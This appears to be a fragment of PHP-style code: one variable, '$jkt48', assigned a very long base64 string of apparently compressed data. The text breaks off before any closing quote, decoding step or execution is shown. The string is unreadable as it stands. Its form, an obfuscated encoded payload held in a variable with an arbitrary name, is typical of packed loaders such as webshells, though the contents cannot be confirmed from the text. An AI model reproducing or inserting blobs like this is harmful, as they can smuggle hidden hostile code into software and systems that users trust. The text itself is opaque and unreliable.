$jkt48 = "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